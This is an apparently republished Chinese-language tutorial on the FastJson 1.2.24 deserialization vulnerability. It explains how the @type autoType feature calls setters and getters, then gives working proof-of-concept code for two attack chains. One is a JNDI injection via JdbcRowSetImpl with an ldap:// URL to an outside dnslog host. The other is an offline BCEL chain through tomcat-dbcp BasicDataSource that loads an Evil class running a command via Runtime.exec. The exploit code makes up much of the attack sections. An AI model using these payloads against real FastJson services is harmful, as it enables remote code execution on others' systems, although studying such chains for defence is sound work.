FastJson反序列化漏洞
与原生的 Java 反序列化的区别在于,FastJson 反序列化并未使用 readObject 方法,而是由 FastJson 自定一套反序列化的过程。通过在反序列化的过程中自动调用类属性的 setter 方法和 getter 方法,将 JSON 字符串还原成对象,当这些自动调用的方法中存在可利用的潜在危险代码时,漏洞便产生了。
fastjson用法:
1.将字符串转换为json格式,通过key获取value:
class jsonUser{publicstaticvoidmain(String[] args){//正常使用将字符串转换成json格式,提取相关数据String s ="{\"name\":\"小红\",\"age\":\"18\"}";JSONObject jsonobject =(JSONObject)JSON.parse(s);System.out.println(jsonobject.get("name"));}}
小红
这么简单好用的一个功能为什么会出现漏洞?
2.将JSON还原成对象:
classUser{privateString id;User(){System.out.println("User go");}publicvoidsetId(String ids){System.out.println("setId go");this.id = ids;}publicStringgetId(){System.out.println("GetId go");returnthis.id;}}publicclassFastjson{publicstaticvoidmain(String[] args){User a =newUser();String json =JSON.toJSONString(a);//序列化 转为json// System.out.println(json);System.out.println(JSON.parseObject(json,User.class));//反序列化 转为原始数据}}
result:会自动调用 Get方法和构造方法。
fastjson漏洞产生原因:
publicclassFastjson{publicstaticvoidmain(String[] args){JSONObject jsonObject =JSON.parseObject({\"@type\":\"Java_deserialization.User\",\"id\":\"123\"}");System.out.println(jsonObject);}}
result:会自动调用Get,Set,构造方法。
这里fastjson提供了AutoType这种方式来指定需要还原的对象以及值{“@type”:“Java_deserialization.User”,“id”:“123”},其中@type后面跟进的就是我们所需要还原的对象(可控)后面跟进的id也就是这个类里面的属性,如果有一个fastjson反序列化点可控那么我们就可以随意指定一个恶意类,如果这个恶意类里面的构造方法或者Get,Set方法调用了恶意的方法那么就会造成反序列化漏洞。
fastjson什么时候会调用get方法?
细节就不调试了,感兴趣可以调试JavaBeanInfo.build() 里面的规则
● 只存在 getter 方法,无 setter 方法。
● 方法名称长度大于等于 4。
● 非静态方法。
● 方法名以 get 开头,且第四个字符为大写字母,例如 getAge。
● 方法无须入参。
● 方法返回值继承自 Collection、Map、AtomicBoolean、AtomicInteger 和
AtomicLong 的其中一个。
fastjson1.2.24-JndI注入
Poc:
publicclassFastjson{publicstaticvoidmain(String[] args){System.out.println(JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","+"\"dataSourceName\":\"ldap://erh3yu.dnslog.cn\","+"\"autoCommit\":\"true\"}"));}}
根据之前的分析,可以知道攻击者指定了一个类 @type:com.sun.rowset.JdbcRowSetImpl,然后给类里面的属性进行了赋值(就跟之前的id一样的),那么赋值以后就会调用对应的set方法,也许危险代码就在set方法里面:
1.调用set方法dataSourceName:
2.调用setAutoCommit方法:为什么是true?这里autoCommit是一个布尔值,你传false 或者0,1都可以。
会进入caonnect方法,危险方法就是这个connect:
3.connect方法:
熟悉Java的朋友就会知道这是一个Jndi注入点,其中里面的dataSourceName是可控的就是我们刚刚传入的ldap协议,这里就不过多的阐述ldap协议了,后面会单独的去做笔记。ldap协议属于jndi里面的一种可以远程动态加载其他服务器上面的资源,如果远程加载的对象可控那么我们就可以远程加载自己构建的恶意类。
4.这里我们跟进lookup看看:
5.getURLOrDefaultInitCtx方法:
这里会对我们传入的uri进行判断,判断是什么协议比如ldap,rmi等远程加载数据的协议。
fastjson1.2.24-BCEL不出网打法
刚刚介绍的是fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了,虽然TemplatesImpl利用链虽然原理上也是利用了 ClassLoader 动态加载恶意代码,但是需要开启
Feature.SupportNonPublicField
,并且实际应用中其实不多见所以我们就介绍另外一种攻击方法apache-BCEL,直接传入字节码不需要出网就可执行恶意代码但是需要引入tomcat的依赖,但在实际攻击中还算是比较常见的。
复现环境
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency><dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-dbcp</artifactId><version>9.0.20</version></dependency>
// tomcat-bdcp在7还是8版本一下名称叫做dbcp,大家引入的时候注意一下
POC:
{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$$l$8b......"}
这里需要说明一下driverClassName里面传入的其实是恶意类经过BCEL协议编码过后的代码,网上很多的人都没有说明,也没有告诉大家如何生成,后面部分会为一步一步说。
分析:
正常使用BCEL:
importcom.sun.org.apache.bcel.internal.classfile.Utility;importorg.springframework.util.FileCopyUtils;importcom.sun.org.apache.bcel.internal.util.ClassLoader;importjava.io.File;importjava.io.FileInputStream;importjava.io.InputStream;publicclass fastjsonBcel {publicstaticvoidmain(String[] args)throwsException{//不考虑fastjson情况就正常调用该类ClassLoader classLoader =newClassLoader();byte[] bytes =fileToBinArray(newFile("D:\\Evil.class"));String code =Utility.encode(bytes,true);
classLoader.loadClass("$$BCEL$$"+code).newInstance();//将文件转为字节码数组publicstaticbyte[]fileToBinArray(File file){try{InputStream fis =newFileInputStream(file);byte[] bytes =FileCopyUtils.copyToByteArray(fis);return bytes;}catch(Exception ex){thrownewRuntimeException("transform file into bin Array 出错",ex);}}}//恶意类packageJava_deserialization;importjava.lang.Runtime;importjava.lang.Process;publicclassEvil{static{try{Runtime rt =Runtime.getRuntime();String[] commands ={"calc"};Process pc = rt.exec(commands);
pc.waitFor();}catch(Exception e){// do nothing}}}//javac Evil.java 转为.class,动态调用的是字节码
com.sun.org.apache.bcel.internal.util里面有一个classLoader类,ClassLoader类里面有一个loadClass方法,如果满足方法里面的条件就可以动态调用恶意代码,其中恶意代码是通过BCEL格式传入的。
代码很简单,创建一个对象然后调用loadClass方法,需要注意的是为什么我们需要做编码这一步:
String code = Utility.encode(bytes,true);
我们在调用loadClass方法的时候会调用 creatClass方法,这里需要跟进去看看
可以看到在进入到 creatClass方法以后会对数据进行解码,所以在之前我们需要进行编码而且为了满足条件需要加上"$ $ BCEL$ $"相关的字符串才能绕过if判断。
成功执行命令,那么现在我们需要考虑的就是如何将这个恶意方法和fastjson结合起来。
tomcat-dbcp:
结合tomcat-dbcp这个类进行组合达到触发fastjson的目的:
tomcat-dbcp里面有一个BasicDataSource类,在反序列化的时候会调用getConnection()方法:
getConnection()方法在返回的时候会调用createDataSource()方法:
createDataSource()方法又会调用createConnectionFactory()方法,
问题代码:
driverFromCCL =Class.forName(driverClassName,true, driverClassLoader);
正常BCEL的代码:
ClassLoader classLoader =newClassLoader();
classLoader.loadClass("$$BCEL$$"+code).newInstance();
通过动态类加载调用我们的loadclass,如果Class.forName(driverClassName, true, driverClassLoader)中的driverClassName和driverClassLoader可控,那么我们就可以传入我们正常BCEL生成的 classLoader和BCEL绕过的代码,恰巧这里有对应的set方法,那么在fastjson反序列化中就会调用set方法来达到可控的目的:
publicclass fastjsonBcel {publicstaticvoidmain(String[] args)throwsException{ClassLoader classLoader =newClassLoader();byte[] bytes =fileToBinArray(newFile("D:\\Evil.class"));String code =Utility.encode(bytes,true);BasicDataSource basicDataSource =newBasicDataSource();
basicDataSource.setDriverClassLoader(classLoader);
basicDataSource.setDriverClassName("$$BCEL$$"+code);
basicDataSource.getConnection();}
攻击链:
换成正常POC测试:
publicclass fastjsonBcel {publicstaticvoidmain(String[] args)throwsException{byte[] bytes =fileToBinArray(newFile("D:\\Evil.class"));String code =Utility.encode(bytes,true);String s ="{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+ code +"\",\"driverClassloader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";JSON.parseObject(s);}
版权归原作者 Q00000001 所有, 如有侵权,请联系我们删除。